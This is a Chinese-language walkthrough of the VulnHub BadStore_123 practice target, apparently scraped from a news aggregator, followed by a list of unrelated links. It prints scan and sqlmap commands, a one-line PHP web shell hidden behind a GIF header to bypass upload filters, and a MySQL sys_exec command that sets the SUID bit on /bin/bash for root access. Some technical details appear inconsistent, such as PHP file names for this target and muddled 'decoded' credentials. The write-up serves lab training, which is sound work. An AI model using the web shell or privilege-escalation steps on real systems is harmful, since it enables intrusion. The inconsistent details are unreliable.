当前位置: 首页 > news >正文

VulnHub实战:BadStore_123从信息收集到权限提升全解析

1. 靶机环境搭建与基础信息收集

BadStore_123是VulnHub平台上经典的渗透测试入门靶机,运行在Ubuntu系统上,搭载了Apache 1.3.28和MySQL 4.1.7这些存在已知漏洞的老版本服务。我建议使用VirtualBox导入OVA文件,网络模式选择桥接或NAT都可以。启动后第一件事就是用nmap扫描同网段,这里有个实用技巧:先快速扫描存活主机,再针对目标做深度扫描。

# 快速扫描同网段存活主机 nmap -sn 192.168.1.0/24 # 对目标进行全端口扫描 nmap -p- -T4 -A -v 192.168.1.105

扫描结果显示开放了80端口(Apache)和3306端口(MySQL),这个组合立刻让我想到可能有SQL注入漏洞。访问web界面会发现一个典型的电商网站,有商品搜索、用户登录和注册功能。这里有个细节要注意:页面底部版权信息显示"BadStore v1.2.3",这个版本号对后续漏洞利用很关键。

2. Web应用漏洞挖掘实战

2.1 敏感信息泄露分析

使用dirb进行目录扫描时,我发现了一个关键文件/vendor_info,里面竟然明文存储了四组疑似账号密码的数据。但直接尝试登录会失败,因为这些凭证需要特定格式。通过base64解码后发现每组数据包含三部分:用户名、密码和IP地址,格式如下:

joeuser/password/platnum/192.168.100.56 kroemer/s3Cr3t/gold/10.100.100.1 janeuser/waiting4Friday/172.22.12.19 kbookout/sendmeapo/10.100.100.20

经过多次测试,发现这些其实是干扰项。真正的突破口在网站的搜索功能,当输入单引号时,页面返回了SQL错误信息,这明确存在SQL注入漏洞。

2.2 SQL注入漏洞利用

使用sqlmap进行自动化注入测试:

sqlmap -u "http://192.168.1.105/search.php?query=test" --batch --dbs

发现可获取数据库信息,但当前权限只能读取products表。这时需要换个思路,尝试在用户注册环节下手。注册时发现角色选择下拉框有"customer"和"vendor"两个选项,但无论选哪个都只能注册为普通用户。

转折点出现在密码重置功能。在未登录状态下直接访问reset.php,输入可能的admin用户名进行密码重置,竟然成功了!这说明系统存在逻辑漏洞。用重置后的密码登录admin账户后,发现了图片上传功能。

3. 权限提升与系统突破

3.1 WebShell上传技巧

虽然找到了图片上传点,但直接上传PHP文件会被拦截。我尝试了两种绕过方法:

  1. 修改Content-Type为image/jpeg
  2. 使用GIF文件头+PHP代码的混合文件
GIF89a; <?php system($_GET['cmd']); ?>

上传成功后,通过访问图片URL附加命令参数,成功执行系统命令。但当前只是www-data权限,需要进一步提权。

3.2 MySQL提权实战

根据之前扫描结果,MySQL是4.1.7版本且允许空密码root登录。连接数据库后执行:

select * from mysql.user;

发现root用户竟然没有密码!直接使用MySQL的UDF提权方法:

select sys_exec('chmod u+s /bin/bash');

然后在WebShell中执行/bin/bash -p,成功获取root权限。这个过程展示了老版本MySQL的典型安全问题。

4. 渗透测试经验总结

在BadStore_123靶机实战中,有几个关键点值得注意:首先,不要忽视任何看似无关的敏感信息,比如那个vendor_info文件虽然没有直接利用价值,但提示了系统可能存在其他凭证存储问题。其次,当遇到权限限制时,要灵活切换攻击路径,从SQL注入转到密码重置再到文件上传,这种多角度渗透思维很重要。

对于初学者,我建议在复现时重点关注三个技术点:SQL注入的多种利用方式、文件上传的绕过技巧、以及通过服务漏洞提权的完整链条。这个靶机很好地展示了渗透测试中"信息收集-漏洞发现-漏洞利用-权限提升"的标准流程。

http://www.jsqmd.com/news/601642/

相关文章:

  • 从数据到模型:Musdb18与Musdb库在音频分轨任务中的实战指南
  • renpy暂停语句
  • 电子信息专业毕业生就业深度分析报告
  • 3步免费解锁Cursor Pro完整功能:终极AI编程工具破解指南
  • 宇树 Qmini 双足机器人云端训练避坑与本地部署实践指南
  • 新手入门指南:利用快马生成的代码理解heic转jpg的前端实现原理
  • CasRel模型保姆级教程:处理中文缩略语(如‘中科院’→‘中国科学院’)的实体标准化流程
  • 【知识图谱】Python连接Neo4j常见JSON解析错误排查指南
  • 2164基于51单片机的DS1302日历时钟系统设计
  • 实战演练,依据visualstudio安装教程在快马平台构建可部署的学生管理系统
  • 十分钟搭建aigc文案生成器:用快马平台快速验证你的创意原型
  • 别再死记硬背了!一张图看懂JLink、ST-Link的JTAG引脚定义与接线(附STM32实战图)
  • MGeo中文地址解析模型惊艳案例:‘哈尔滨市南岗区西大直街92号哈尔滨工业大学一校区’精准识别
  • OpenClaw技能开发进阶:为Qwen2.5-VL-7B定制复杂图文工作流
  • 突破Cursor AI编程助手限制:技术原理与实战优化指南
  • Qwen3-Reranker-0.6B步骤详解:从git clone到curl测试API的全流程记录
  • Python网络编程详解
  • YOLOv8实战:用Ultralytics最新版快速实现口罩检测(附数据集+完整训练代码)
  • 智慧农业荔枝成熟度识别数据集 荔枝识别 荔枝果实颜色识别 荔枝成熟度识别数据集第10646期
  • 高通骁龙开发避坑指南:从零配置Hexagon SDK到手机成功运行CDSP程序
  • Qwen3.5-35B-AWQ-4bit GPU算力优化部署:显存占用降低40%,吞吐提升2.3倍实测
  • 用FPGA做个篮球计分器,从模块拆分到调试避坑的全过程记录
  • Firefox用户福音:免许可安装HackBar 2.1.3旧版本完整指南(附资源下载)
  • 2165基于51单片机的DS1302简易闹钟系统设计(24C02)
  • Ubuntu 20.04 上 VINS-Mono 环境搭建避坑全记录:从 ROS Noetic 到 OpenCV 版本冲突解决
  • AI辅助开发新思路:让快马平台模拟智能视觉决策控制小龙虾openclaw
  • 零代码文本分类:AI万能分类器WebUI,3步实现智能打标系统
  • 2023 黑月编译器插件v4.1.7.7新特性解析与应用指南
  • AI辅助开发:让快马智能推荐与优化你的openclaw启动参数
  • 别再让监控裸奔了!手把手教你修复Grafana 8.4.3那个高危的未授权访问漏洞(CVE-2022-32275)